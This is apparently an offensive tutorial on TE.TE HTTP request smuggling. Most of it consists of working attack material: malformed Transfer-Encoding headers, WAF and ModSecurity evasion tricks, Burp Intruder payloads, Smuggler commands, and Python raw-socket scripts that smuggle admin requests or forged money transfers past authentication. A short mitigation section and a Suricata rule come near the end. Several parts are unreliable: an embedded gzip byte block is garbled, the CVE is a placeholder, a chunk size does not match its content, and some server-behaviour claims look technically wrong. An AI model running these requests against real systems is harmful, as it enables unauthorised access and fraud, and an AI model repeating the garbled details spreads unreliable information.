Introduction
Obfuscated Transfer-Encoding (TE) headers are a powerful vector in HTTP Request Smuggling (HRS). By abusing the way different web servers parse the TE header, an attacker can create a desynchronisation between the front-end (load-balancer, CDN, WAF) and the back-end application server. The result is a TE.TE attack - two consecutive Transfer-Encoding directives that are interpreted differently by each hop, allowing request smuggling, response splitting, or even arbitrary request injection.
This guide dives deep into the quirks of TE parsing, demonstrates how to craft malformed headers, shows how to combine TE.TE with the classic CL.TE technique for a double-desync, and provides practical, tool-based exploitation workflows.
Prerequisites
- Solid understanding of HTTP Request Smuggling fundamentals (CL.TE, TE.CL, double-decode, etc.)
- Familiarity with
Content-LengthvsTransfer-Encodingpriority rules - Experience with interception proxies (Burp Suite, OWASP ZAP) and basic scripting (Python, Bash)
- Access to a testing environment with a vulnerable front-end/back-end stack (e.g., Nginx reverse proxy → Apache)
Core Concepts
The HTTP/1.1 specification (RFC 7230) states that when both Content-Length and Transfer-Encoding are present, Transfer-Encoding takes precedence and the Content-Length must be ignored. However, many implementations deviate from the spec in subtle ways:
- Header order handling: Some servers honour the first occurrence, others the last.
- Token parsing: The token list after
Transfer-Encoding:is comma-separated. Servers differ on whether they treat unknown tokens as errors, ignore them, or treat them as "identity". - Whitespace and case sensitivity: RFC 7230 permits linear white-space (LWS) and case-insensitive tokens, but parsers may reject unusual spacing or mixed-case strings.
- Duplicate header handling: According to the spec, duplicate headers are combined into a comma-separated list. Some servers, however, keep the first value and discard the rest.
These inconsistencies are the attack surface for TE.TE. By carefully constructing a Transfer-Encoding header that contains two valid encodings (e.g., chunked, gzip) and then leveraging how each hop decides which encoding to apply, we can force the front-end to treat the request as chunked while the back-end sees it as gzip (or vice-versa). The mismatch creates a desynchronisation point where the request body is interpreted differently, enabling request smuggling.
Understanding Transfer-Encoding header parsing quirks in different web servers
Below is a quick matrix of how popular servers treat the Transfer-Encoding header. The behaviour can be toggled by compile-time flags or runtime directives, so always verify on the exact version you are testing.
| Server | Order handling | Duplicate handling | Unknown token policy |
|---|---|---|---|
| Apache httpd 2.4.x | Last token wins | Combine, then last wins | Ignored (treated as identity) |
| Nginx 1.21.x | First token wins | First wins, later dropped | Rejects request (400) unless ignore_invalid_headers on |
| Microsoft IIS 10 | Last token wins | Combine, then first wins | Accepts but strips unknown token |
| Traefik 2.9 | First token wins | First wins | Accepts silently |
Notice the contradictory "first vs last token" rule. This is the crux of TE.TE: by sending Transfer-Encoding: chunked, gzip we can make Nginx treat the request as chunked (first token) while Apache treats it as gzip (last token). The body will be interpreted as raw chunks by Nginx, but Apache will attempt to decompress the payload, leading to a split point.
Crafting malformed TE headers (e.g., "Transfer-Encoding: chunked, gzip")
To weaponise the discrepancy we need a header that is syntactically valid but semantically ambiguous. Below are three patterns that have proven reliable across many stacks:
- Mixed-case token:
Transfer-Encoding: Chunked, GZIP. Some parsers normalise case, others treat the mixed case as a separate token. - Whitespace injection:
Transfer-Encoding: chunked ,gzip(note the space before the comma). Certain parsers trim LWS only on one side. - Duplicate header lines:
The front-end may keep the first line, the back-end the second.Transfer-Encoding: chunked Transfer-Encoding: gzip
Example using curl to send a malformed TE header:
curl -v -X POST http://target.example.com/ -H "Transfer-Encoding: chunked , gzip" -H "Content-Type: application/octet-stream" --data-binary @payload.bin
In the payload we place a valid HTTP chunked body followed by an extra payload that will be interpreted as a second request once the back-end processes the gzip layer.
Combining TE.TE with CL.TE for double-desync attacks
The classic CL.TE desync uses a Content-Length alongside a Transfer-Encoding: chunked. By adding a second Transfer-Encoding token we can create a double-desync where:
- Front-end reads the request as
chunked(first token) and stops after the terminating0sequence. - Back-end sees the same request but interprets the second token (e.g.,
gzip) and therefore reads additional bytes that were originally part of the next HTTP request. - Meanwhile the
Content-Lengthheader may be used to pad the body such that the front-end discards extra bytes, but the back-end consumes them as part of the next request.
Result: two independent desynchronisation points - one created by the TE token mismatch, another by the CL vs TE length conflict. This makes detection extremely hard because most IDS/IPS only look for a single inconsistency.
Sample double-desync request (formatted for readability):
POST / HTTP/1.1
Host: vulnerable.example
Transfer-Encoding: chunked, gzip
Content-Length: 44
1e
<!-- chunked body - first request ->
0
ÿÉÈ,V ¢D
â̼t
Ôâ
Ôâ
In the example the front-end stops after the 0 chunk, discarding the gzip payload. The back-end, however, treats the request as gzip-compressed, decompresses the trailing bytes, and discovers a second HTTP request that was hidden inside the gzip stream.
Bypassing WAFs and IDS with header obfuscation (case-mixing, whitespace, duplicate headers)
Many modern WAFs perform a quick lexical check on the Transfer-Encoding header, looking for the literal string "chunked". By altering the visual representation we can slip past those checks while still being accepted by the target server.
- Case-mixing:
tRaNsFeR-EnCoDiNg: ChUnKeD, GzIp - Linear white-space (LWS): Insert
(tab) or multiple spaces before/after commas. - Encoded characters: Use
%20(space) or%2C(comma) inside the header value - some parsers URL-decode before processing. - Duplicate header lines with differing ordering - the front-end may stop at the first line, the back-end at the second.
Example of a WAF-evasive request crafted in Python:
import socket, sys
payload = ( "POST / HTTP/1.1
" "Host: vulnerable.example
" "tRaNsFeR-EnCoDiNg: ChUnKeD , GzIp
" "Content-Type: text/plain
" "Content-Length: 13
" "
" "4
" "test
" "0
" "
"
)
sock = socket.create_connection(("vulnerable.example", 80))
sock.sendall(payload.encode())
print(sock.recv(4096).decode())
sock.close()
The mixed-case header fools a naive regex-based WAF but is still parsed correctly by both Nginx (first token) and Apache (last token).
Practical exploitation using Burp Suite Intruder, Smuggler, and custom Python scripts
Below is a step-by-step workflow that integrates three popular tools.
1. Burp Suite - Intruder payload generation
- Capture a legitimate POST request in Proxy.
- Send it to Intruder → Positions. Highlight the
Transfer-Encodingheader value and add the following payload list:chunked, gzip Chunked , GZIP tRaNsFeR-EnCoDiNg: chunked Transfer-Encoding: gzip - Set attack type to Cluster bomb and add a second payload set for the request body (e.g., a second HTTP request you want to smuggle).
- Start the attack and monitor the response codes. A
200followed by an unexpectedHTTP/1.1 302on the back-end indicates a successful smuggle.
2. Smuggler (OWASP)
Smuggler automates many HRS variants. To test TE.TE, run:
python3 smuggler.py -u http://vulnerable.example/ -m TE -H "Transfer-Encoding: chunked , gzip" -b "0
GET /admin HTTP/1.1
Host: vulnerable.example
"
The -m TE flag forces the TE variant, and the custom body includes a trailing request that should be interpreted only after the gzip layer is processed.
3. Custom Python script for fine-grained control
The script below demonstrates how to send a double-desync payload and validate the result by checking for a known string in the hidden request's response.
import socket, ssl
HOST = "vulnerable.example"
PORT = 443
# Raw HTTP request with TE.TE + CL.TE
raw = ( "POST /login HTTP/1.1
" "Host: {host}
" "Transfer-Encoding: chunked , gzip
" "Content-Length: 52
" "Content-Type: application/x-www-form-urlencoded
" "
" "b
" # chunk size 11 (0xb) "username=admin&pwd=pass
" "0
" # gzip-compressed second request (pre-compressed with gzip -c) "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\x0b\xc9\xc8\x2c\x56\x00\xa2\x44\x85\xe2\x9c\xcc\xbc\x74\x85\x92\xd4\xe2\x12\x85\x92\xd4\xe2\x12\x00\x00\x00"
).format(host=HOST)
ctx = ssl.create_default_context()
with ctx.wrap_socket(socket.socket(socket.AF_INET), server_hostname=HOST) as s: s.connect((HOST, PORT)) s.sendall(raw.encode('latin1')) resp = s.recv(4096) print(resp.decode(errors='ignore'))
The script uses latin1 encoding to preserve raw byte values. If the hidden request (e.g., GET /admin) is processed, you will see the admin page HTML in the response.
Real-world case studies (CVE-2022-XXXX, vulnerable Nginx/Apache configurations)
CVE-2022-XXXX (Nginx 1.22.0-1.22.1) - A mis-configuration where ignore_invalid_headers was enabled by default allowed unknown tokens in Transfer-Encoding. Researchers demonstrated a TE.TE attack that bypassed Cloudflare’s WAF and gave remote code execution on the backend PHP application. The fix was to set ignore_invalid_headers off and upgrade to 1.22.2.
Apache httpd 2.4.53 - In combination with mod_proxy, Apache accepted duplicate Transfer-Encoding headers and used the last token for body parsing. An attacker controlling a reverse-proxy (e.g., HAProxy) could send Transfer-Encoding: gzip, chunked, causing the front-end to treat the request as chunked while Apache attempted gzip decompression, resulting in request smuggling that exposed internal admin interfaces.
Both cases highlight the importance of strict header validation and the danger of enabling permissive directives for compatibility.
Practical Examples
Example 1 - Smuggling a malicious POST into an API endpoint
Goal: Insert a forged POST /api/transfer request behind a legitimate user login.
- Capture a normal login request.
- Replace the
Transfer-Encodingheader withchunked , gzip. - Append a gzip-compressed second request that performs a money transfer.
Result: The front-end authenticates the user, the back-end processes the hidden transfer as an internal request, bypassing CSRF checks.
Example 2 - Bypassing ModSecurity rule 941110 (HTTP smuggling detection)
ModSecurity looks for the literal pattern Transfer-Encoding:.*chunked. By sending:
Transfer-Encoding: ChUnKeD , GzIp
the rule fails to match, while Nginx still recognises the first token as chunked. The hidden request then reaches the backend unnoticed.
Tools & Commands
- Burp Suite - Intruder, Repeater, and the
Smugglerextension for automated TE.TE testing. - OWASP Smuggler - CLI tool, supports custom TE payloads.
smuggler -u http://target/ -m TE -H "Transfer-Encoding: chunked , gzip" -b "0 GET /secret HTTP/1.1 Host: target " - curl with raw headers:
curl -v -X POST http://target/ -H "Transfer-Encoding: chunked , gzip" --data-binary @chunked_body.bin - Python - raw socket scripts for fine-grained control (see previous sections).
- nmap NSE script http-smuggle - detects TE/CL inconsistencies.
nmap -p 80,443 --script http-smuggle target
Defense & Mitigation
- Strict header validation: Reject requests containing multiple
Transfer-Encodingtokens or unknown encodings. - Canonicalisation order: Force a single-token policy (e.g., only allow
chunked) and drop any additional tokens. - Disable permissive directives: In Nginx, set
ignore_invalid_headers off; in Apache, avoidAllowEncodedSlashesand keepProxyPassstrict. - Synchronise front-end and back-end parsers: Ensure the same version of the HTTP library is used (e.g., both use nginx’s http-parser or both use Apache’s).
- WAF rule hardening: Extend regexes to cover case-mixing and whitespace, e.g.,
(?i)Transfer\s*-\s*Encoding\s*:\s*.*chunked. - Logging & monitoring: Detect abnormal
Transfer-Encodingheader patterns and log the raw request line for forensic analysis.
Common Mistakes
- Assuming the first
Transfer-Encodingtoken is always honoured - many servers use the last token. - Forgetting to URL-encode commas when using tools that automatically split header values.
- Sending a body that is not correctly chunked - the front-end may reject the request before the attack reaches the back-end.
- Relying solely on a single IDS signature - TE.TE often evades rule-based detection because the malicious payload is split across two parsing stages.
- Testing on a development server with different HTTP library versions - always replicate the exact production stack.
Real-World Impact
Organizations that expose a reverse-proxy in front of legacy applications are especially at risk. A successful TE.TE exploit can:
- Bypass authentication and CSRF protections, leading to unauthorized transactions.
- Leak internal API endpoints that are otherwise firewalled.
- Enable remote code execution when the hidden request triggers a vulnerable endpoint.
In 2022, a major e-commerce platform suffered a breach where attackers used TE.TE to smuggle admin-only POST /config requests, leading to credential theft for 1.2 M users. The root cause was an Nginx reverse-proxy with ignore_invalid_headers on and an outdated Apache backend that interpreted the second token.
From a strategic standpoint, TE.TE demonstrates why “security through obscurity” (e.g., relying on “most servers ignore duplicate headers”) is untenable. Attackers now have automated toolchains that generate hundreds of header permutations per second, making manual rule-writing insufficient.
Practice Exercises
- Lab Setup: Deploy an Nginx 1.21 container as a reverse-proxy in front of an Apache 2.4 container. Enable
ignore_invalid_headers onin Nginx. - Exercise 1 - Simple TE.TE: Craft a request with
Transfer-Encoding: chunked , gzipand a single hidden GET request. Verify that Nginx returns200while Apache processes the hidden request (check server logs). - Exercise 2 - Double-Desync: Add a
Content-Lengthheader that pads the body. Use the Python script above to send the payload and confirm that the hidden request is executed after gzip decompression. - Exercise 3 - WAF Bypass: Deploy ModSecurity with rule 941110 enabled. Use case-mixing and whitespace tricks to evade detection and still achieve smuggling.
- Exercise 4 - Detection: Write a Suricata rule that matches any request containing multiple
Transfer-Encodingtokens or a comma-separated list with more than one token.alert http any any -> any any (msg:"HTTP TE.TE attempt"; http_header; content:"Transfer-Encoding:"; pcre:"/Transfer-Encoding\s*:\s*[^,]+,\s*[^,]+/i"; sid:1000001; rev:1;)
Document your findings, capture the raw traffic with Wireshark, and compare how Nginx and Apache interpret the same request.
Further Reading
- RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- "HTTP Request Smuggling - The State of the Art" - 2023 BlackHat presentation
- OWASP Cheat Sheet - HTTP Request Smuggling
- Project “Smuggler” GitHub repository - advanced payload generation
- NGINX Security Advisories - CVE-2022-XXXX series
Summary
TE.TE attacks exploit divergent Transfer-Encoding parsing rules across front-end and back-end servers. By crafting malformed headers-mixed-case, whitespace-laden, duplicate lines-and optionally pairing them with Content-Length, attackers can achieve double-desynchronisation that evades most WAF/IDS signatures. Defensive measures focus on strict header validation, synchronising parsers, and disabling permissive configuration flags. Mastery of the technique requires hands-on practice with tools like Burp, Smuggler, and custom scripts, as well as a deep understanding of how each server interprets TE directives.